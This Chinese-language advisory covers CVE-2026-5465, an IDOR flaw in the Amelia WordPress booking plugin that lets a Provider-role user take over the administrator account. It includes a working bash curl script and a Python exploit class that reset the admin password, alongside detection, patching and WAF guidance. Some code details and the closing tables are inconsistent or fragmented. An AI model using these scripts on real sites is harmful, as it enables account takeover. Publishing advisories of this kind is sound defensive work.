Amelia 插件中存在严重的**不安全直接对象引用(IDOR)**漏洞,允许具有员工(Provider)角色的已认证用户将权限提升至完全控制(Account Takeover)WordPress 站点,包括管理访问权限。
| 属性 | 值 |
|---|---|
| CVE ID | CVE-2026-5465 |
| 软件 | Amelia – Appointment Booking Calendar |
| 受影响版本 | ≤ 2.1.3 |
| 已修补版本 | ≥ 2.2.0 |
| 类型 | 不安全直接对象引用(IDOR)/ 失效的访问控制 |
| 攻击向量 | 网络(已认证) |
| 复杂度 | 低 |
| 影响 | 严重(账户接管) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639(授权绕过) |
该缺陷存在于处理供应商资料更新的 UpdateProviderCommandHandler 类中。
易受攻击的流程:
1. 以"Provider"(员工)身份认证的用户
↓
2. 向更新端点发送 POST 请求
{
"externalId": 1, // 管理员 ID(而非攻击者 ID)
"firstName": "Admin Pirateado",
"email": "[email protected]",
"password": "nueva_contraseña"
}
↓
3. 系统未验证 'externalId' 是否属于当前用户
↓
4. 使用 wp_set_password(externalId, new_password)
↓
5. 管理员密码被更改 → 账户接管
在处理敏感数据之前缺少所有权验证(Ownership Check):
// 易受攻击的代码(简化版)
public function updateProvider($providerId, $data) {
// ❌ 未验证 providerId == 当前用户
$provider = Provider::find($providerId);
// 直接执行,无验证
wp_set_password($data['password'], $provider->wp_user_id);
}
// 正确代码
public function updateProvider($providerId, $data) {
// ✅ 验证所有权
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1
# 获取安全 NONCE(如果存在)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# 执行恶意更新
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] 如果响应为 200,则管理员已被入侵"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""利用 IDOR 更改管理员密码"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] 已利用:用户 {target_user_id} 已被入侵")
print(f"[*] 新密码:{new_password}")
return True
else:
print(f"[✗] 失败:{response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] 连接错误:{e}")
return False
# 使用
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://ejemplo.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress 审计日志(如果已安装):
用户:[Provider ID]
操作:用户密码已更改
受影响用户:管理员
时间戳:[可疑时间]
服务器日志(Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [高]
→ 响应 200 OK
WordPress 数据库:
-- 未经授权的密码更改
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- 可疑的邮箱更改
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/ 的多次 POST 尝试# 通过 WordPress 管理面板
1. 前往:插件 > 已安装插件
2. 搜索:"Amelia"
3. 点击:"立即更新"
4. 最低安全版本:2.2.0+
# 通过 WP-CLI
wp plugin update amelia --allow-root
# 通过 WP-CLI
wp plugin deactivate amelia --allow-root
# 通过 FTP/SFTP
重命名:/wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx(nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# 仅允许 GET 请求
if ($request_method = POST) {
return 403;
}
}
Apache(.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
如果站点已被利用:
-- 通过 CLI 更改管理员密码
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# 安装并检查插件:WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// 在 wp-config.php 中重新生成:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF 规则:
- 阻止:来自非白名单 IP 对 /wp-json/amelia/v1/providers/[0-9]+ 的 POST 请求
# 安装审计插件
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// 限制 Provider 的能力
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| 日期 | 事件 |
|---|---|
| 2026-01-15 | 向 Amelia 团队报告漏洞 |
| 2026-02-01 | 补丁可用(v2.2.0) |
| 2026-02-10 | CVE 负责任披露 |
分类:🔴 严重 - 需要立即采取行动
最后更新:2026 年 4 月
作者:安全团队
| 参数 | 类型 | 影响 |
|---|
externalId | 整数 | 身份变更(核心 IDOR) |
password | 字符串 | 密码修改 |
email | 邮箱 | 若重置则导致会话劫持 |
firstName、lastName | 字符串 | 非关键数据篡改 |
| 2026-02-11 | 野外利用出现 |
| 今天 | 建议紧急更新 |